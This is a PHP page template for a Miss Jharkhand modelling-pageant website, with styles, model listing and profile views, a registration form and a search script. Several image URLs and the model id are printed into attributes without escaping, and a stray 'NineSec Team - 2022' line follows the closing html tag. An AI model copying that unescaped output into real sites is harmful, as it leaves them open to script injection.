        /* ===== MODELS PAGE STYLES ===== */
        .models-header {
            background: linear-gradient(135deg, var(--dark) 0%, var(--primary) 100%);
            color: white;
            padding: 140px 0 60px;
            text-align: center;
        }
        
        .models-content {
            padding: 50px 0;
        }
        
        .search-container {
            margin-bottom: 30px;
            max-width: 600px;
            margin-left: auto;
            margin-right: auto;
        }
        
        .search-box {
            display: flex;
            border-radius: 50px;
            overflow: hidden;
            box-shadow: 0 5px 20px rgba(0,0,0,0.1);
        }
        
        .search-box input {
            flex: 1;
            padding: 15px 25px;
            border: none;
            font-size: 1rem;
            outline: none;
        }
        
        .search-box button {
            background: var(--accent);
            color: var(--dark);
            border: none;
            padding: 0 25px;
            cursor: pointer;
            font-weight: 600;
            transition: all 0.3s ease;
        }
        
        .search-box button:hover {
            background: #c5a12d;
        }
        
        .no-models {
            text-align: center;
            padding: 50px 0;
            grid-column: 1 / -1;
            background: white;
            border-radius: 15px;
            box-shadow: 0 5px 20px rgba(0,0,0,0.05);
        }
        
        /* ===== FOOTER ===== */
        .footer {
            background: linear-gradient(to right, var(--dark), var(--primary));
            color: white;
            padding: 70px 0 25px;
        }
        
        .footer-content {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 35px;
            margin-bottom: 50px;
        }
        
        .footer-logo {
            font-family: 'Playfair Display', serif;
            font-size: 1.8rem;
            font-weight: 700;
            color: var(--accent);
            margin-bottom: 20px;
            display: flex;
            align-items: center;
        }
        
        .footer-logo img {
            height: 45px;
            margin-right: 12px;
        }
        
        .footer-about p {
            margin-bottom: 25px;
            opacity: 0.8;
            line-height: 1.7;
        }
        
        .social-links {
            display: flex;
            gap: 12px;
        }
        
        .social-links a {
            display: flex;
            align-items: center;
            justify-content: center;
            width: 42px;
            height: 42px;
            border-radius: 50%;
            background: rgba(255, 255, 255, 0.1);
            color: white;
            font-size: 1.1rem;
            transition: all 0.3s ease;
        }
        
        .social-links a:hover {
            background: var(--accent);
            color: var(--dark);
            transform: translateY(-5px);
        }
        
        .footer-title {
            font-size: 1.3rem;
            margin-bottom: 25px;
            position: relative;
            padding-bottom: 12px;
        }
        
        .footer-title::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 40px;
            height: 3px;
            background: var(--accent);
        }
        
        .footer-links li {
            margin-bottom: 14px;
            list-style: none;
        }
        
        .footer-links a {
            color: rgba(255, 255, 255, 0.8);
            text-decoration: none;
            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            font-size: 0.95rem;
        }
        
        .footer-links a i {
            margin-right: 10px;
            color: var(--accent);
            font-size: 0.9rem;
        }
        
        .footer-links a:hover {
            color: var(--accent);
            transform: translateX(5px);
        }
        
        .contact-info li {
            display: flex;
            margin-bottom: 18px;
            font-size: 0.95rem;
        }
        
        .contact-info i {
            color: var(--accent);
            font-size: 1.1rem;
            min-width: 30px;
            margin-top: 5px;
        }
        
        .footer-bottom {
            text-align: center;
            padding-top: 25px;
            border-top: 1px solid rgba(255, 255, 255, 0.1);
            font-size: 0.9rem;
            opacity: 0.7;
        }
        
        /* ===== RESPONSIVE DESIGN ===== */
        @media (max-width: 1200px) {
            .hero-title {
                font-size: 3.2rem;
            }
        }
        
        @media (max-width: 992px) {
            .hero-title {
                font-size: 2.8rem;
            }
            
            .hero-subtitle {
                font-size: 1.2rem;
            }
            
            .nav-menu {
                display: none;
                position: absolute;
                top: 100%;
                left: 0;
                right: 0;
                background: white;
                flex-direction: column;
                padding: 20px;
                box-shadow: 0 10px 30px rgba(0,0,0,0.1);
                margin: 0;
            }
            
            .nav-menu.active {
                display: flex;
            }
            
            .nav-item {
                margin: 10px 0;
            }
            
            .mobile-toggle {
                display: block;
                margin-left: 15px;
            }
            
            .about-title {
                font-size: 3rem;
            }
        }
        
        @media (max-width: 768px) {
            .hero {
                height: 70vh;
                min-height: 500px;
            }
            
            .hero-title {
                font-size: 2.3rem;
            }
            
            .hero-buttons .btn {
                padding: 12px 28px;
                font-size: 1rem;
            }
            
            .section-title {
                font-size: 2.1rem;
            }
            
            .about-title {
                font-size: 2.5rem;
            }
            
            .stat-card {
                min-width: calc(50% - 15px);
                padding: 25px 20px;
            }
            
            .stat-number {
                font-size: 2.5rem;
            }
            
            .model-main-image {
                height: 400px;
                margin-bottom: 25px;
            }
        }
        
        @media (max-width: 576px) {
            .hero-title {
                font-size: 2rem;
            }
            
            .hero-subtitle {
                font-size: 1.1rem;
            }
            
            .hero-buttons {
                flex-direction: column;
                gap: 15px;
            }
            
            .section-title {
                font-size: 1.8rem;
            }
            
            .about-title {
                font-size: 2rem;
            }
            
            .stat-card {
                min-width: 100%;
            }
            
            .logo-text {
                font-size: 1.5rem;
            }
            
            .btn-apply {
                padding: 10px 20px;
                font-size: 0.95rem;
            }
            
            .model-name {
                font-size: 1.8rem;
            }
        }
    </style>
</head>
<body>
    <!-- Enhanced Header -->
    <header class="header">
        <div class="header-container">
            <a href="?page=home" class="logo">
                <!-- Custom Logo -->
                <img src="<?= $logoPath ?>" alt="Miss Jharkhand Logo" class="logo-img">
                <div class="logo-text">Miss Jharkhand</div>
            </a>
            
            <div class="nav-container">
                <ul class="nav-menu">
                    <li class="nav-item">
                        <a href="index.php" class="nav-link <?= ($page === 'home') ? 'active' : '' ?>">Home</a>
                    </li>
                    <li class="nav-item">
                        <a href="models.php" class="nav-link <?= ($page === 'models') ? 'active' : '' ?>">Models</a>
                    </li>
                    <li class="nav-item">
                        <a href="#" class="nav-link">Gallery</a>
                    </li>
                    <li class="nav-item">
                        <a href="#" class="nav-link">Events</a>
                    </li>
                    <li class="nav-item">
                        <a href="#" class="nav-link">About</a>
                    </li>
                    <li class="nav-item">
                        <a href="#" class="nav-link">Contact</a>
                    </li>
                </ul>
                
                <a href="registration.php" class="btn-apply">Apply Now</a>
                
                <button class="mobile-toggle">
                    <i class="fas fa-bars"></i>
                </button>
            </div>
        </div>
    </header>

    <?php if ($page === 'home'): ?>
        <!-- Home Page Content -->
        <section class="hero">
            <div class="hero-content">
                <h1 class="hero-title">Jharkhand Beauty</h1>
                <p class="hero-subtitle">Showcasing the elegance and diversity of Jharkhand fashion</p>
                <div class="hero-buttons">
                    <a href="?page=models" class="btn btn-primary">Explore Models</a>
                    <a href="?page=registration" class="btn btn-outline">Apply Now</a>
                </div>
            </div>
            
            <div class="scroll-down">
                <a href="#featured-models" class="scroll-link">
                    <span class="scroll-text">Scroll Down</span>
                    <div class="scroll-icon">
                        <i class="fas fa-chevron-down"></i>
                    </div>
                </a>
            </div>
        </section>
        
        <!-- Featured Models Section -->
        <section class="featured" id="featured-models">
            <div class="container">
                <div class="section-header">
                    <h2 class="section-title">Featured Models</h2>
                    <p class="section-subtitle">Discover our talented contestants</p>
                </div>
                <div class="models-grid">
                    <?php if (!empty($models)): ?>
                        <?php foreach ($models as $model): ?>
                            <?php
                            $img = "https://images.unsplash.com/photo-1529626455594-4ff0802cfb7e?ixlib=rb-1.2.1&auto=format&fit=crop&w=634&q=80";
                            if(!empty($model['headshot_photo'])) {
                                $img = $model['headshot_photo'];
                            }
                            // Calculate age from DOB
                            $age = 'N/A';
                            if (!empty($model['dob'])) {
                                $dob = new DateTime($model['dob']);
                                $today = new DateTime();
                                $age = $today->diff($dob)->y;
                            }
                            ?>  
                            <div class="model-card">
                                <a href="?page=profile&id=<?= $model['id'] ?>">
                                    <div class="model-image">
                                        <img src="<?= $img ?>" alt="<?= htmlspecialchars($model['full_name']) ?>">
                                        <div class="model-overlay">
                                            <h3><?= htmlspecialchars($model['full_name']) ?></h3>
                                            <p>Height: <?= !empty($model['height']) ? htmlspecialchars($model['height']) : 'N/A' ?></p>
                                            <p>Age: <?= $age ?> years</p>
                                            <span class="model-category">Miss Jharkhand</span>
                                        </div>
                                    </div>
                                </a>
                            </div>
                        <?php endforeach; ?>
                    <?php else: ?>
                        <div class="no-models">
                            <h4>No models found in database</h4>
                            <p>Be the first to <a href="?page=registration">register</a>!</p>
                        </div>
                    <?php endif; ?>
                </div>
                <div class="view-all-btn">
                    <a href="?page=models" class="btn btn-primary">View All Models</a>
                </div>
            </div>
        </section>

        <!-- About Section -->
        <section class="about-section">
            <div class="container">
                <h2 class="about-title">Miss Jharkhand</h2>
                <div class="about-content">
                    <p>Miss Jharkhand is a prestigious modeling competition that celebrates the talent, grace, and confidence of young women across the region. We provide a powerful platform for aspiring models to shine in the fashion and entertainment industry. Our mission is to inspire, empower, and launch the next generation of modeling talent from Jharkhand.</p>
                </div>
                <div class="stats-grid">
                    <div class="stat-card">
                        <div class="stat-number">15+</div>
                        <div class="stat-label">Years Experience</div>
                    </div>
                    <div class="stat-card">
                        <div class="stat-number">500+</div>
                        <div class="stat-label">Models Scouted</div>
                    </div>
                    <div class="stat-card">
                        <div class="stat-number">10+</div>
                        <div class="stat-label">Countries</div>
                    </div>
                    <div class="stat-card">
                        <div class="stat-number">50+</div>
                        <div class="stat-label">Industry Awards</div>
                    </div>
                </div>
            </div>
        </section>
        
    <?php elseif ($page === 'models'): ?>
        <!-- Models Page Content -->
        <section class="models-header">
            <div class="container">
                <h1>Our Models</h1>
                <p class="lead">Discover the beauty and talent of Jharkhand</p>
            </div>
        </section>

        <section class="models-content">
            <div class="container">
                <div class="search-container">
                    <div class="search-box">
                        <input type="text" placeholder="Search models by name..." id="modelSearch">
                        <button><i class="fas fa-search"></i> Search</button>
                    </div>
                </div>
                
                <div class="models-grid">
                    <?php if (!empty($models)): ?>
                        <?php foreach ($models as $model): ?>
                            <?php
                            $img = "https://images.unsplash.com/photo-1529626455594-4ff0802cfb7e?ixlib=rb-1.2.1&auto=format&fit=crop&w=634&q=80";
                            if(!empty($model['headshot_photo'])) {
                                $img = $model['headshot_photo'];
                            }
                            // Calculate age from DOB
                            $age = 'N/A';
                            if (!empty($model['dob'])) {
                                $dob = new DateTime($model['dob']);
                                $today = new DateTime();
                                $age = $today->diff($dob)->y;
                            }
                            ?>
                            <div class="model-card">
                                <a href="?page=profile&id=<?= $model['id'] ?>">
                                    <div class="model-image">
                                        <img src="<?= $img ?>" alt="<?= htmlspecialchars($model['full_name']) ?>">
                                    </div>
                                    <div class="model-overlay">
                                        <h3><?= htmlspecialchars($model['full_name']) ?></h3>
                                        <p><?= $age ?> years | <?= !empty($model['height']) ? htmlspecialchars($model['height']) : 'N/A' ?></p>
                                        <p><?= !empty($model['profession']) ? htmlspecialchars($model['profession']) : 'Model' ?></p>
                                    </div>
                                </a>
                            </div>
                        <?php endforeach; ?>
                    <?php else: ?>
                        <div class="no-models">
                            <h4>No models found in database</h4>
                            <p>Be the first to <a href="?page=registration">register</a>!</p>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        </section>
        
    <?php elseif ($page === 'profile' && $model): ?>
        <!-- Model Profile Page Content -->
        <section class="model-profile-header">
            <div class="container">
                <h1>Model Profile</h1>
            </div>
        </section>

        <section class="model-profile-content">
            <div class="container">
                <a href="?page=models" class="back-link">
                    <i class="fas fa-arrow-left me-2"></i> Back to Models
                </a>
                
                <div class="row">
                    <div class="col-lg-5 mb-5 mb-lg-0">
                        <div class="model-main-image">
                            <?php
                            $mainImg = "https://via.placeholder.com/600x800?text=Model+Image";
                            if (!empty($model['headshot_photo'])) {
                                $mainImg = $model['headshot_photo'];
                            }
                            ?>
                            <img src="<?= $mainImg ?>" alt="<?= htmlspecialchars($model['full_name']) ?>">
                        </div>
                    </div>
                    
                    <div class="col-lg-7">
                        <div class="model-info-card">
                            <h2 class="model-name"><?= htmlspecialchars($model['full_name']) ?></h2>
                            <p class="model-title">Miss Jharkhand Contestant</p>
                            
                            <div class="model-details">
                                <?php
                                // Calculate age from DOB
                                $age = 'N/A';
                                if (!empty($model['dob'])) {
                                    $dob = new DateTime($model['dob']);
                                    $today = new DateTime();
                                    $age = $today->diff($dob)->y;
                                }
                                ?>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Age:</span>
                                    <span class="detail-value"><?= $age ?> years</span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Height:</span>
                                    <span class="detail-value"><?= !empty($model['height']) ? htmlspecialchars($model['height']) : 'N/A' ?></span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Hair Color:</span>
                                    <span class="detail-value"><?= !empty($model['hair_color']) ? htmlspecialchars($model['hair_color']) : 'N/A' ?></span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Eye Color:</span>
                                    <span class="detail-value"><?= !empty($model['eye_color']) ? htmlspecialchars($model['eye_color']) : 'N/A' ?></span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Place of Birth:</span>
                                    <span class="detail-value"><?= !empty($model['place_of_birth']) ? htmlspecialchars($model['place_of_birth']) : 'N/A' ?></span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Current City:</span>
                                    <span class="detail-value"><?= !empty($model['current_address']) ? htmlspecialchars($model['current_address']) : 'N/A' ?></span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Profession:</span>
                                    <span class="detail-value"><?= !empty($model['profession']) ? htmlspecialchars($model['profession']) : 'Model' ?></span>
                                </div>
                                
                                <div class="detail-item">
                                    <span class="detail-label">Languages:</span>
                                    <span class="detail-value"><?= !empty($model['languages']) ? htmlspecialchars($model['languages']) : 'N/A' ?></span>
                                </div>
                            </div>
                            
                            <h3 class="section-title">About Me</h3>
                            <p><?= !empty($model['why_miss_jharkhand']) ? htmlspecialchars($model['why_miss_jharkhand']) : 'No information provided.' ?></p>
                        </div>
                    </div>
                </div>
                
                <div class="portfolio-section">
                    <h3 class="section-title">Portfolio</h3>
                    
                    <div class="portfolio-grid">
                        <?php
                        // Headshot Photo
                        if (!empty($model['headshot_photo'])): ?>
                        <div class="portfolio-item">
                            <img src="<?= $model['headshot_photo'] ?>" alt="Headshot of <?= htmlspecialchars($model['full_name']) ?>">
                        </div>
                        <?php endif; ?>
                        
                        <?php
                        // Full Length Photo
                        if (!empty($model['full_length_photo'])): ?>
                        <div class="portfolio-item">
                            <img src="<?= $model['full_length_photo'] ?>" alt="Full length photo of <?= htmlspecialchars($model['full_name']) ?>">
                        </div>
                        <?php endif; ?>
                        
                        <?php
                        // Traditional Photo
                        if (!empty($model['traditional_photo'])): ?>
                        <div class="portfolio-item">
                            <img src="<?= $model['traditional_photo'] ?>" alt="Traditional attire of <?= htmlspecialchars($model['full_name']) ?>">
                        </div>
                        <?php endif; ?>
                        
                        <?php
                        // Casual Photo
                        if (!empty($model['casual_photo'])): ?>
                        <div class="portfolio-item">
                            <img src="<?= $model['casual_photo'] ?>" alt="Casual look of <?= htmlspecialchars($model['full_name']) ?>">
                        </div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </section>
        
    <?php else: ?>
        <!-- Default Content (Registration Page) -->
        <section class="hero" style="height: auto; min-height: 100vh; padding: 100px 0;">
            <div class="container">
                <div class="row justify-content-center">
                    <div class="col-lg-8">
                        <div class="text-center mb-5">
                            <h1 class="mb-3">Apply to Become Miss Jharkhand</h1>
                            <p class="lead">Join our prestigious beauty pageant and showcase your talent</p>
                        </div>
                        
                        <div class="card shadow-lg">
                            <div class="card-header bg-primary text-white py-4">
                                <h2 class="mb-0 text-center">Registration Form</h2>
                            </div>
                            <div class="card-body p-5">
                                <form>
                                    <div class="mb-4">
                                        <label class="form-label">Full Name</label>
                                        <input type="text" class="form-control form-control-lg" placeholder="Enter your full name">
                                    </div>
                                    
                                    <div class="row mb-4">
                                        <div class="col-md-6">
                                            <label class="form-label">Date of Birth</label>
                                            <input type="date" class="form-control form-control-lg">
                                        </div>
                                        <div class="col-md-6">
                                            <label class="form-label">Place of Birth</label>
                                            <input type="text" class="form-control form-control-lg" placeholder="City, State">
                                        </div>
                                    </div>
                                    
                                    <div class="mb-4">
                                        <label class="form-label">Current Address</label>
                                        <textarea class="form-control form-control-lg" rows="3" placeholder="Full address with PIN code"></textarea>
                                    </div>
                                    
                                    <div class="mb-4">
                                        <label class="form-label">Permanent Address</label>
                                        <textarea class="form-control form-control-lg" rows="3" placeholder="Full address with PIN code"></textarea>
                                    </div>
                                    
                                    <div class="row mb-4">
                                        <div class="col-md-6">
                                            <label class="form-label">Phone Number</label>
                                            <input type="tel" class="form-control form-control-lg" placeholder="10-digit mobile number">
                                        </div>
                                        <div class="col-md-6">
                                            <label class="form-label">Email Address</label>
                                            <input type="email" class="form-control form-control-lg" placeholder="example@email.com">
                                        </div>
                                    </div>
                                    
                                    <div class="text-center mt-5">
                                        <button type="submit" class="btn btn-primary btn-lg px-5 py-3">Submit Application</button>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    <?php endif; ?>

    <!-- Footer -->
    <footer class="footer">
        <div class="container">
            <div class="footer-content">
                <div class="footer-about">
                    <div class="footer-logo">
                        <!-- Custom Logo in Footer -->
                        <img src="<?= $logoPath ?>" alt="Miss Jharkhand Logo">
                        Miss Jharkhand
                    </div>
                    <p>Celebrating the beauty, culture, and talent of Jharkhand through our prestigious modeling platform. Empowering women to shine on national and international stages.</p>
                    <div class="social-links">
                        <a href="#"><i class="fab fa-facebook-f"></i></a>
                        <a href="#"><i class="fab fa-instagram"></i></a>
                        <a href="#"><i class="fab fa-twitter"></i></a>
                        <a href="#"><i class="fab fa-youtube"></i></a>
                    </div>
                </div>
                
                <div class="footer-links-section">
                    <h4 class="footer-title">Quick Links</h4>
                    <ul class="footer-links">
                        <li><a href="?page=home"><i class="fas fa-chevron-right"></i> Home</a></li>
                        <li><a href="?page=models"><i class="fas fa-chevron-right"></i> Models</a></li>
                        <li><a href="#"><i class="fas fa-chevron-right"></i> Gallery</a></li>
                        <li><a href="#"><i class="fas fa-chevron-right"></i> Events</a></li>
                        <li><a href="#"><i class="fas fa-chevron-right"></i> About Us</a></li>
                    </ul>
                </div>
                
                <div class="footer-contact">
                    <h4 class="footer-title">Contact Us</h4>
                    <ul class="contact-info">
                        <li>
                            <i class="fas fa-map-marker-alt"></i>
                            <div>123 Fashion Street, Ranchi<br>Jharkhand, India - 834001</div>
                        </li>
                        <li>
                            <i class="fas fa-phone-alt"></i>
                            <div>+91 98765 43210</div>
                        </li>
                        <li>
                            <i class="fas fa-envelope"></i>
                            <div>info@missjharkhand.com</div>
                        </li>
                    </ul>
                </div>
            </div>
            
            <div class="footer-bottom">
                <p>&copy; <?php echo date('Y'); ?> Miss Jharkhand. All rights reserved.</p>
            </div>
        </div>
    </footer>

    <script>
        // Mobile menu toggle
        document.addEventListener('DOMContentLoaded', function() {
            const mobileToggle = document.querySelector('.mobile-toggle');
            const navMenu = document.querySelector('.nav-menu');
            
            mobileToggle.addEventListener('click', function() {
                navMenu.classList.toggle('active');
            });
            
            // Header scroll effect
            window.addEventListener('scroll', function() {
                const header = document.querySelector('.header');
                if (window.scrollY > 50) {
                    header.style.padding = '10px 0';
                    header.style.boxShadow = '0 5px 20px rgba(0, 0, 0, 0.1)';
                } else {
                    header.style.padding = '15px 0';
                    header.style.boxShadow = '0 5px 20px rgba(0, 0, 0, 0.05)';
                }
            });
            
            // Model Search
            const modelSearch = document.getElementById('modelSearch');
            if (modelSearch) {
                modelSearch.addEventListener('input', function() {
                    const searchTerm = this.value.toLowerCase();
                    const modelCards = document.querySelectorAll('.model-card');
                    
                    modelCards.forEach(card => {
                        const name = card.querySelector('h3').textContent.toLowerCase();
                        if (name.includes(searchTerm)) {
                            card.style.display = 'block';
                        } else {
                            card.style.display = 'none';
                        }
                    });
                });
            }
            
            // Smooth scrolling
            document.querySelectorAll('a[href^="#"]').forEach(anchor => {
                anchor.addEventListener('click', function(e) {
                    e.preventDefault();
                    const target = document.querySelector(this.getAttribute('href'));
                    if (target) {
                        window.scrollTo({
                            top: target.offsetTop - 80,
                            behavior: 'smooth'
                        });
                        
                        // Close mobile menu if open
                        navMenu.classList.remove('active');
                    }
                });
            });
        });
    </script>
</body>
</html>

NineSec Team - 2022